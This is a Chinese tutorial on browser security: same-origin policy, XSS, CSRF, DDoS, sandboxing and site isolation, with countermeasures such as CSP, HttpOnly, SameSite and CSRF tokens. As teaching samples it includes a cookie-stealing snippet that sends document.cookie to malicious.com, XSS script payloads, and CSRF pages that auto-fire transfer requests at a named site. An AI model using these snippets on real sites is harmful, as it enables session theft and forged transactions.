浏览器中的网络安全问题

Web 世界是开放的,这很符合 Web 理念。但如果 Web 世界是绝对自由的,那么页面行为将没有任何限制,这会造成无序或者混沌的局面,出现很多不可控的问题。

比如你打开了一个银行站点,然后又一不小心打开了一个恶意站点,如果没有安全措施,恶意站点就可以做很多事情:

修改银行站点的 DOM、CSSOM 等信息;

在银行站点内部插入 JavaScript 脚本;

劫持用户登录的用户名和密码;

读取银行站点的 Cookie、IndexDB 等数据;

甚至还可以将这些信息上传至自己的服务器,这样就可以在你不知情的情况下伪造一些转账请求等信息。

所以说,在没有安全保障的 Web 世界中,我们是没有隐私的,因此需要安全策略来保障我们的隐私和数据的安全

1. 同源策略

如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源。

浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。

具体来讲,同源策略主要表现在 DOM、Web 数据和网络这三个层面:

  1. 同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。
  2. 同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。
  3. 同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。

2. 安全和便利性的权衡

全性和便利性是相互对立的,让不同的源之间绝对隔离,无疑是最安全的措施,但这也会使得 Web 项目难以开发和使用。因此我们就要在这之间做出权衡,出让一些安全性来满足灵活性;而出让安全性又带来了很多安全问题,最典型的是 XSS攻击和 CSRF攻击。

2.1 页面中可以引入第三方资源

我们在文章开头提到过,Web 世界是开放的,可以接入任何资源,而同源策略要让一个页面的所有资源都来自于同一个源,也就是要将该页面的所有 HTML 文件、JavaScript 文件、CSS 文件、图片等资源都部署在同一台服务器上,这无疑违背了 Web 的初衷,也带来了诸多限制。比如将不同的资源部署到不同的 CDN 上时,CDN 上的资源就部署在另外一个域名上,因此我们就需要同源策略对页面的引用资源开一个“口子”,让其任意引用外部文件。

所以最初的浏览器都是支持外部引用资源文件的,不过这也带来了很多问题。遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持,劫持的途径很多,其中最常见的是恶意程序通过各种途径往 HTML 文件中插入恶意脚本

浏览器中的网络安全问题 流程图

当这段 HTML 文件的数据被送达浏览器时,浏览器是无法区分被插入的文件是恶意的还是正常的,这样恶意脚本就寄生在页面之中,当页面启动时,它可以修改用户的搜索结果、改变一些内容的连接指向,等等。

除此之外,它还能将页面的的敏感数据,如 Cookie、IndexDB、LoacalStorage 等数据通过 XSS 的手段发送给服务器。具体来讲就是,当你不小心点击了页面中的一个恶意链接时,恶意 JavaScript 代码可以读取页面数据并将其发送给服务器.

1
2
3
4
5
6
function onClick(){
let url = `http://malicious.com?cookie = ${document.cookie}`

open(url)
}
onClick()

在这段代码中,恶意脚本读取 Cookie 数据,并将其作为参数添加至恶意站点尾部,当打开该恶意页面时,恶意服务器就能接收到当前用户的 Cookie 信息。

以上就是一个非常典型的 XSS 攻击。为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。通过这些手段就可以大大减少 XSS 攻击。

2.2 跨域解决策略

3. 跨站脚本攻击(XSS)

不过支持页面中的第三方资源引用和 CORS 也带来了很多安全问题,其中最典型的就是XSS 攻击。

XSS 攻击是指黑客往 HTML 文件中或者 DOM 中注入恶意脚本,从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。

最开始的时候,这种攻击是通过跨域来实现的,所以叫“跨域脚本”。但是发展到现在,往HTML 文件中注入恶意代码的方式越来越多了,所以是否跨域注入脚本已经不是唯一的注入手段了,但是 XSS 这个名字却一直保留至今。

当页面被注入了恶意 JavaScript 脚本时,浏览器无法区分这些脚本是被恶意注入的还是正常的页面内容,所以恶意注入 JavaScript 脚本也拥有所有的脚本权限。

如果页面被注入了恶意 JavaScript 脚本:

  1. 可以窃取 Cookie 信息。恶意 JavaScript 可以通过“document.cookie”获取 Cookie信息,然后通过 XMLHttpRequest 或者 Fetch 加上 CORS 功能将数据发送给恶意服务器;恶意服务器拿到用户的 Cookie 信息之后,就可以在其他电脑上模拟用户的登录,然后进行转账等操作。
  2. 可以监听用户行为。恶意 JavaScript 可以使用“addEventListener”接口来监听键盘事件,比如可以获取用户输入的信用卡等信息,将其发送到恶意服务器。黑客掌握了这些信息之后,又可以做很多违法的事情。
  3. 可以通过修改 DOM伪造假的登录窗口,用来欺骗用户输入用户名和密码等信息。
    还可以在页面内生成浮窗广告,这些广告会严重地影响用户体验。

除了以上几种情况外,恶意脚本还能做很多其他的事情,这里就不一一介绍了。总之,如果让页面插入了恶意脚本,那么就相当于把我们页面的隐私数据和行为完全暴露给黑客了。

3.1 存储型XSS攻击

浏览器中的网络安全问题 流程图

存储型 XSS 攻击大致需要经过如下步骤:

首先黑客利用站点漏洞将一段恶意 JavaScript 代码提交到网站的数据库中;

然后用户向网站请求包含了恶意 JavaScript 脚本的页面;

当用户浏览该页面的时候,恶意脚本就会将用户的 Cookie 信息等数据上传到服务器。

常见的XSS比如:服务器对关键字审核不严格,用户可以输入类似于这样的<script src="xxx"></script>字段储存于服务器中。当服务器渲染带有有该字段的页面,就会去下载该脚本引用的文件。

3.2 反射型XSS攻击

在一个反射型 XSS 攻击过程中,恶意 JavaScript 脚本属于用户发送给网站请求中的一部分,随后网站又把恶意 JavaScript 脚本返回给用户。

在现实生活中,黑客经常会通过 QQ 群或者邮件等渠道诱导用户去点击这些恶意链接。比如http://localhost:3000/?xss=<script src="xxx"></script>

Web 服务器接收到请求时,又将恶意代码反射给了浏览器端,这就是反射型 XSS 攻击。

浏览器中的网络安全问题 流程图

3.3 基于DOM的XSS攻击

基于 DOM 的 XSS 攻击是不牵涉到页面 Web 服务器的。具体来讲,黑客通过各种手段将恶意脚本注入用户的页面中,比如通过网络劫持在页面传输过程中修改 HTML 页面的内容,这种劫持类型很多,有通过 WiFi 路由器劫持的,有通过本地恶意软件来劫持的,它们的共同点是在 Web 资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据。

浏览器中的网络安全问题 流程图

3.4 如何阻止XSS攻击

存储型 XSS 攻击和反射型 XSS 攻击都是需要经过 Web 服务器来处理的,因此可以认为这两种类型的漏洞是服务端的安全漏洞。而基于 DOM 的 XSS 攻击全部都是在浏览器端完成的,因此基于 DOM 的 XSS 攻击是属于前端的安全漏洞。

但无论是何种类型的 XSS 攻击,它们都有一个共同点,那就是首先往浏览器中注入恶意脚本,然后再通过恶意脚本将用户信息发送至黑客部署的恶意服务器上。

所以要阻止 XSS 攻击,我们可以通过阻止恶意 JavaScript 脚本的注入恶意消息的发送来实现。

3.4.1 服务器对输入脚本进行过滤或者转码

1
code:<script>alert('你被 xss 攻击了')</script>

这段代码过滤后,只留下了:

1
code:

转码:

1
code:&lt;script&gt;alert(&#39; 你被 xss 攻击了 &#39;)&lt;/script&gt;

经过转码之后的内容,如<script>标签被转换为&lt;script&gt;,因此即使这段脚本返回给页面,页面也不会执行这段脚本。

3.4.2 充分利用CSP

虽然在服务器端执行过滤或者转码可以阻止 XSS 攻击的发生,但完全依靠服务器端依然是不够的,我们还需要把 CSP 等策略充分地利用起来,以降低 XSS 攻击带来的风险和后果。

具体来讲 CSP 有如下几个功能:

限制加载其他域下的资源文件,这样即使黑客插入了一个 JavaScript 文件,这个JavaScript 文件也是无法被加载的;

禁止向第三方域提交数据,这样用户数据也不会外泄;

禁止执行内联脚本和未授权的脚本;

还提供了上报机制,这样可以帮助我们尽快发现有哪些 XSS 攻击,以便尽快修复问题。

3.4.3 使用HttpOnly属性

由于很多 XSS 攻击都是来盗用 Cookie 的,因此还可以通过使用 HttpOnly 属性来保护Cookie 的安全。

通常服务器可以将某些 Cookie 设置为 HttpOnly 标志,HttpOnly 是服务器通过 HTTP 响应头来设置的:

1
set-cookie: NID=189=M8q2wdgquywgudwnia;HttpOnly

浏览器中的网络安全问题 流程图

从图中可以看出,NID 这个 Cookie 的 HttpOlny 属性是被勾选上的,所以 NID 的内容是无法通过 document.cookie 是来读取的。由于 JavaScript 无法读取设置了 HttpOnly 的 Cookie 数据,所以即使页面被注入了恶意JavaScript 脚本,也是无法获取到设置了 HttpOnly 的数据。因此一些比较重要的数据我们建议设置 HttpOnly 标志。

3.4.4 输入检查

让一些基于特殊字符的攻击失效。一般是用于对于输入格式的检查,例如:邮箱,电话号码,用户名,密码……等,按照规定的格式输入。不仅仅是前端负责,后端也要做相同的过滤检查。

因为攻击者完全可以绕过正常的输入流程,直接利用相关接口向服务器发送设置。(常见的Web漏洞如XSS、SQLInjection等,都要求攻击者构造一些特殊字符)

HtmlEncode

某些情况下,不能对用户数据进行严格过滤,需要对标签进行转换

浏览器中的网络安全问题 流程图

当用户输入 <script>window.location.href=”http://www.baidu.com”;</script>, 最终保存结果为<script>window.location.href="http://www.baidu.com"</script> , 在展现时,浏览器会对这些字符转换成文本内容,而不是一段可以执行的代码。

JavaScriptEncode

对下列字符加上反斜杠:

浏览器中的网络安全问题 流程图

4. 跨站请求伪造攻击(CSRF)

CSRF 英文全称是 Cross-site request forgery,所以又称为“跨站请求伪造”,是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。简单来讲,CSRF 攻击就是黑客利用了用户的登录状态,并通过第三方的站点来做一些坏事

通常当用户打开了黑客的页面后,黑客有三种方式去实施 CSRF 攻击。

4.1 自动发起GET请求

1
2
3
4
5
6
7
<!DOCTYPE html> 
<html>
<body>
<h1> 黑客的站点:CSRF 攻击演示 </h1>
<img src="https://time.geekbang.org/sendcoin?user=hacker&number=100">
</body>
</html>

在这段代码中,黑客将转账的请求接口隐藏在 img 标签内,欺骗浏览器这是一张图片资源。当该页面被加载时,浏览器会自动发起 img 的资源请求,如果服务器没有对该请求做判断的话,那么服务器就会认为该请求是一个转账请求。

4.2 自动发起POST请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>

<body>
<h1> 黑客的站点:CSRF 攻击演示 </h1>
<form id="hacker-form" action="https://time.geekbang.org/sendcoin" method="POST">
<input type="hidden" name="user" value="hacker" />
<input type="hidden" name="number" value="100" />
</form>

<script>
document.getElementById('hacker-form').submit();
</script>
</body>

</html>

在这段代码中,我们可以看到黑客在他的页面中构建了一个隐藏的表单,该表单的内容就是极客时间的转账接口。当用户打开该站点之后,这个表单会被自动执行提交;当表单被提交之后,服务器就会执行转账操作。

4.3 引诱用户点击链接

除了自动发起 Get 和 Post 请求之外,还有一种方式是诱惑用户点击黑客站点上的链接,这种方式通常出现在论坛或者恶意邮件上。黑客会采用很多方式去诱惑用户点击链接,示例代码如下所示:

1
2
3
4
<div>
<img src="http://images.xuejuzi.cn/1612/1_161230185104_1.jpg">
<a href="https://time.geekbang.org/sendcoin?user=hacker&number=100" taget="_b">点击下载美女照片</a>
</div>

和 XSS 不同的是,CSRF 攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击

在发送一个http请求的时候,携带的cookie是这个http请求域的地址的cookie。也就是我在b网站,发送a网站的一个请求,携带的是a网站域名下的cookie!很多同学的误解,就是觉得cookie是跨域的,b网站发送任何一个请求,我只能携带b网站域名下的cookie。

当然,我们在b网站下,读取cookie的时候,只能读取b网站域名下的cookie,这是cookie的跨域限制。所以要记住,不要把http请求携带的cookie,和当前域名的访问权限的cookie混淆在一起。

4.4 如何防止CSRF攻击

发起 CSRF 攻击的三个必要条件:

  1. 目标站点一定要有 CSRF 漏洞。
  2. 用户要登录过目标站点,并且在浏览器上保持有该站点的登录状态。
  3. 需要用户打开一个第三方站点,可以是黑客的站点,也可以是一些论坛。

与 XSS 攻击不同,CSRF 攻击不会往页面注入恶意脚本,因此黑客是无法通过 CSRF攻击来获取用户页面数据的;其最关键的一点是要能找到服务器的漏洞,所以说对于 CSRF攻击我们主要的防护手段是提升服务器的安全性。

4.4.1 充分利用Cookie的SameSite属性

SameSite 选项通常有 Strict、Lax 和 None 三个值。通常 CSRF 攻击都是从第三方站点发起的,要防止 CSRF 攻击,我们最好能实现从第三方站点发送请求时禁止 Cookie 的发送。

Strict 最为严格。如果 SameSite 的值是 Strict,那么浏览器会完全禁止第三方Cookie

Lax 相对宽松一点。在跨站点的情况下,从第三方站点的链接打开和从第三方站点提交Get 方式的表单这两种方式都会携带 Cookie。但如果在第三方站点中使用 Post 方法,或者通过 img、iframe 等标签加载的 URL,这些场景都不会携带 Cookie。

浏览器中的网络安全问题 流程图

如果使用 None 的话,也就是默认模式,请求会自动携带上 Cookie。Chrome 计划将 Lax 变为默认设置。这时,网站可以选择显式关闭 SameSite 属性,将其设为 None 。不过,前提是必须同时设置 Secure 属性(Cookie 只能通过 HTTPS 协议发送),否则无效。

1
Set-Cookie: widget_session=abc123; SameSite=None; Secure

4.4.2 验证请求的来源站点

Referer 是 HTTP 请求头中的一个字段,记录了该 HTTP 请求的来源地址。虽然可以通过 Referer 告诉服务器 HTTP 请求的来源,但是有一些场景是不适合将来源URL 暴露给服务器的,因此浏览器提供给开发者一个选项,可以不用上传 Referer 值。

但在服务器端验证请求头中的 Referer 并不是太可靠,因此标准委员会又制定了Origin 属性,在一些重要的场合,比如通过 XMLHttpRequest、Fecth 发起跨站请求或者通过 Post方法发送请求时,都会带上 Origin 属性。

Origin 属性只包含了域名信息,并没有包含具体的 URL 路径,这是Origin 和 Referer 的一个主要区别。在这里需要补充一点,Origin 的值之所以不包含详细路径信息,是有些站点因为安全考虑,不想把源站点的详细路径暴露给服务器。

因此,服务器的策略是优先判断 Origin,如果请求头中没有包含 Origin 属性,再根据实际情况判断是否使用 Referer 值。

4.4.3 CSRF Token

在浏览器向服务器发起请求时,服务器生成一个 CSRF Token。CSRF Token 其实就是服务器生成的字符串,然后将该字符串植入到返回的页面中。

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>

<body>
<form action="https://time.geekbang.org/sendcoin" method="POST">
<input type="hidden" name="csrf-token" value="nc98P987bcpncYhoadjoiydc9aj">
<input type=" text" name="user">
<input type="text" name="number">
<input type="submit">
</form>
</body>

</html>

在浏览器端如果要发起转账的请求,那么需要带上页面中的 CSRF Token,然后服务器会验证该 Token 是否合法。如果是从第三方站点发出的请求,那么将无法获取到CSRF Token 的值,所以即使发出了请求,服务器也会因为 CSRF Token 不正确而拒绝请求。

4.4.4 网络重要操作增加验证码

CSRF攻击过程中,用户在不知情的情况下构造了网络请求,添加验证码后,强制用户必须与应用进行交互

5. 分布式拒绝服务(DDOS)

DDOS是英文Distributed Denial ofService的缩写,意即“分布式拒绝服务”,凡是能导致合法用户不能够访问正常网络服务的行为都算是拒绝服务攻击。拒绝服务攻击又被称之为“洪水式攻击”,常见的DDOS攻击手段有SYNFlood、ACK Flood、UDP Flood、ICMP Flood、TCP Flood、Connections Flood、ScriptFlood、Proxy Flood等。

5.1 SYN/ACKFlood攻击

这种攻击方法是经典最有效的DDOS方法,可通杀各种系统的网络服务,主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK包,导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务,普通防火墙大多无法抵御此种攻击。

5.2 TCP全连接攻击

TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接,直到服务器的内存等资源被耗尽而被拖跨,从而造成拒绝服务,这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的,缺点是需要找很多僵尸主机,并且由于僵尸主机的IP是暴露的,因 此容易被追踪。

5.3 刷Script脚本攻击

这种攻击主要是针对存在ASP、JSP、PHP、CGI等脚本程序,并调用MSSQLServer、MySQLServer、Oracle等数据库的网站系统而设计的,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用,典型的以小博大 的攻击方法。

这种攻击的特点是可以完全绕过普通的防火墙防护,轻松找一些Proxy代理就可实施攻击,缺点是对付只有静态页面的网站效果会大打折扣,并且有些Proxy会暴露攻击者的IP地址。

5.4 应对策略

5.4.1 隐藏服务器真实IP

只要 CDN 够大,就可以抵御很大的攻击。不过,这种方法有一个前提,网站的大部分内容必须可以静态缓存。对于动态内容为主的网站(比如论坛),就要想别的办法,尽量减少用户对动态数据的请求。

5.4.2 关闭不必要的服务或端口

这也是服务器运维人员最常用的做法。在服务器防火墙中,只开启使用的端口,比如网站web服务的80端口、数据库的3306端口、SSH服务的22端口等。关闭不必要的服务或端口,在路由器上过滤假IP。

5.4.3 带宽扩容(提供余量带宽)

通过服务器性能测试,评估正常业务环境下所能承受的带宽和请求数。在购买带宽时确保有一定的余量带宽,可以避免遭受攻击时带宽大于正常使用量而影响正常用户的情况。

浏览器中的网络安全问题 流程图

6. 安全沙箱

前面几节我们主要围绕同源策略介绍了 Web 页面安全的相关内容,接下来让我们来聊聊页面安全和操作系统安全之间的关系。

在之前的文章中,我们分析了浏览器架构的发展史,在最开始的阶段,浏览器是单进程的,这意味着渲染过程、JavaScript 执行过程、网络加载过程、UI 绘制过程和页面显示过程等都是在同一个进程中执行的,这种结构虽然简单,但是也带来了很多问题。

从稳定性视角来看,单进程架构的浏览器是不稳定的,因为只要浏览器进程中的任意一个功能出现异常都有可能影响到整个浏览器,如页面卡死、浏览器崩溃等。不过浏览器的稳定性并不是本文讨论的重点,我们今天主要聊的是浏览器架构是如何影响到操作系统安全的

浏览器本身的漏洞是单进程浏览器的一个主要问题,如果浏览器被曝出存在漏洞,那么在这些漏洞没有被及时修复的情况下,黑客就有可能通过恶意的页面向浏览器中注入恶意程序,其中最常见的攻击方式是利用缓冲区溢出,不过需要注意这种类型的攻击和 XSS 注入的脚本是不一样的

XSS 攻击只是将恶意的 JavaScript 脚本注入到页面中,虽然能窃取一些 Cookie 相关的数据,但是 XSS 无法对操作系统进行攻击。而通过浏览器漏洞进行的攻击是可以入侵到浏览器进程内部的,可以读取和修改浏览器进程内部的任意内容,还可以穿透浏览器,在用户的操作系统上悄悄地安装恶意软件、监听用户键盘输入信息以及读取用户硬盘上的文件内容。

6.1 安全视角下的多进程架构

现代浏览器的设计目标是安全、快速和稳定,而这种核弹级杀伤力的安全问题就是一个很大的潜在威胁,因此在设计现代浏览器的体系架构时,需要解决这个问题。

我们知道现代浏览器采用了多进程架构,将渲染进程和浏览器主进程做了分离:

浏览器中的网络安全问题 流程图

观察上图,我们知道浏览器被划分为浏览器内核渲染内核两个核心模块,其中浏览器内核是由网络进程、浏览器主进程和 GPU 进程组成的,渲染内核就是渲染进程。那如果我们在浏览器中打开一个页面,这两个模块是怎么配合的呢?

所有的网络资源都是通过浏览器内核来下载的,下载后的资源会通过 IPC 将其提交给渲染进程(浏览器内核和渲染进程之间都是通过 IPC 来通信的)。然后渲染进程会对这些资源进行解析、绘制等操作,最终生成一幅图片。但是渲染进程并不负责将图片显示到界面上,而是将最终生成的图片提交给浏览器内核模块,由浏览器内核模块负责显示这张图片。

6.2 安全沙箱

由于渲染进程需要执行 DOM 解析、CSS 解析、网络图片解码等操作,如果渲染进程中存在系统级别的漏洞,那么以上操作就有可能让恶意的站点获取到渲染进程的控制权限,进而又获取操作系统的控制权限,这对于用户来说是非常危险的。

网络资源的内容存在着各种可能性,所以浏览器会默认所有的网络资源都是不可信的,都是不安全的。

我们知道,如果你下载了一个恶意程序,但是没有执行它,那么恶意程序是不会生效的。同理,浏览器之于网络内容也是如此,浏览器可以安全地下载各种网络资源,但是如果要执行这些网络资源,比如解析 HTML、解析 CSS、执行 JavaScript、图片编解码等操作,就需要非常谨慎了。

基于以上原因,我们需要在渲染进程和操作系统之间建一道墙,即便渲染进程由于存在漏洞被黑客攻击,但由于这道墙,黑客就获取不到渲染进程之外的任何操作权限。将渲染进程和操作系统隔离的这道墙就是我们要聊的安全沙箱

安全沙箱是利用操作系统提供的安全技术,让渲染进程在执行过程中无法访问或者修改操作系统中的数据,在渲染进程需要访问系统资源的时候,需要通过浏览器内核来实现,然后将访问的结果通过 IPC 转发给渲染进程。

安全沙箱最小的保护单位是进程。因为单进程浏览器需要频繁访问或者修改操作系统的数据,所以单进程浏览器是无法被安全沙箱保护的,而现代浏览器采用的多进程架构使得安全沙箱可以发挥作用。

6.3 安全沙箱如何影响各个模块功能

安全沙箱最小的保护单位是进程,并且能限制进程对操作系统资源的访问和修改,这就意味着如果要让安全沙箱应用在某个进程上,那么这个进程必须没有读写操作系统的功能,比如读写本地文件、发起网络请求、调用 GPU 接口等。

了解了被安全沙箱保护的进程会有一系列的受限操作之后,接下来我们就可以分析渲染进程和浏览器内核各自都有哪些职责,如下图:

浏览器中的网络安全问题 流程图

通过该图,我们可以看到由于渲染进程需要安全沙箱的保护,因此需要把在渲染进程内部涉及到和系统交互的功能都转移到浏览器内核中去实现。

6.3.1 持久存储

于安全沙箱需要负责确保渲染进程无法直接访问用户的文件系统,但是在渲染进程内部有访问 Cookie 的需求、有上传文件的需求,为了解决这些文件的访问需求,所以现代浏览器将读写文件的操作全部放在了浏览器内核中实现,然后通过 IPC 将操作结果转发给渲染进程。

具体地讲,如下文件内容的读写都是在浏览器内核中完成的:

存储 Cookie 数据的读写。通常浏览器内核会维护一个存放所有 Cookie 的 Cookie 数据库,然后当渲染进程通过 JavaScript 来读取 Cookie 时,渲染进程会通过 IPC 将读取Cookie 的信息发送给浏览器内核,浏览器内核读取 Cookie 之后再将内容返回给渲染进程。一些缓存文件的读写也是由浏览器内核实现的,比如网络文件缓存的读取。

6.3.2 网络访问

同样有了安全沙箱的保护,在渲染进程内部也是不能直接访问网络的,如果要访问网络,则需要通过浏览器内核。不过浏览器内核在处理 URL 请求之前,会检查渲染进程是否有权限请求该 URL,比如检查 XMLHttpRequest 或者 Fetch 是否是跨站点请求,或者检测HTTPS 的站点中是否包含了 HTTP 的请求。

6.3.3 用户交互

通常情况下,如果你要实现一个 UI 程序,操作系统会提供一个界面给你,该界面允许应用程序与用户交互,允许应用程序在该界面上进行绘制,比如 Windows 提供的是 HWND,Linux 提供的 X Window,我们就把 HWND 和 X Window 统称为窗口句柄。应用程序可以在窗口句柄上进行绘制和接收键盘鼠标消息。

不过在现代浏览器中,由于每个渲染进程都有安全沙箱的保护,所以在渲染进程内部是无法直接操作窗口句柄的,这也是为了限制渲染进程监控到用户的输入事件。由于渲染进程不能直接访问窗口句柄,所以渲染进程需要完成以下两点大的改变:

  1. 渲染进程需要渲染出位图。为了向用户显示渲染进程渲染出来的位图,渲染进程需要将生成好的位图发送到浏览器内核,然后浏览器内核将位图复制到屏幕上
    2.操作系统没有将用户输入事件直接传递给渲染进程,而是将这些事件传递给浏览器内核。然后浏览器内核再根据当前浏览器界面的状态来判断如何调度这些事件,如果当前焦点位于浏览器地址栏中,则输入事件会在浏览器内核内部处理;如果当前焦点在页面的区域内,则浏览器内核会将输入事件转发给渲染进程。

之所以这样设计,就是为了限制渲染进程有监控到用户输入事件的能力,所以所有的键盘鼠标事件都是由浏览器内核来接收的,然后浏览器内核再通过 IPC 将这些事件发送给渲染进程。

6.4 站点隔离

所谓站点隔离是指 Chrome 将同一站点(包含了相同根域名和相同协议的地址)中相互关联的页面放到同一个渲染进程中执行

最开始 Chrome 划分渲染进程是以标签页为单位,也就是说整个标签页会被划分给某个渲染进程。但是,按照标签页划分渲染进程存在一些问题,原因就是一个标签页中可能包含了多个 iframe,而这些 iframe 又有可能来自于不同的站点,这就导致了多个不同站点中的内容通过 iframe 同时运行在同一个渲染进程中。

目前所有操作系统都面临着两个 A 级漏洞——幽灵(Spectre)和熔毁(Meltdown),这两个漏洞是由处理器架构导致的,很难修补,黑客通过这两个漏洞可以直接入侵到进程的内部,如果入侵的进程没有安全沙箱的保护,那么黑客还可以发起对操作系统的攻击。所以如果一个银行站点包含了一个恶意 iframe,然后这个恶意的 iframe 利用这两个 A 级漏洞去入侵渲染进程,那么恶意程序就能读取银行站点渲染进程内的所有内容了,这对于用户来说就存在很大的风险了。

因此 Chrome 几年前就开始重构代码,将标签级的渲染进程重构为 iframe 级的渲染进程,然后严格按照同一站点的策略来分配渲染进程,这就是 Chrome 中的站点隔离。实现了站点隔离,就可以将恶意的 iframe 隔离在恶意进程内部,使得它无法继续访问其他iframe 进程的内容,因此也就无法攻击其他站点了。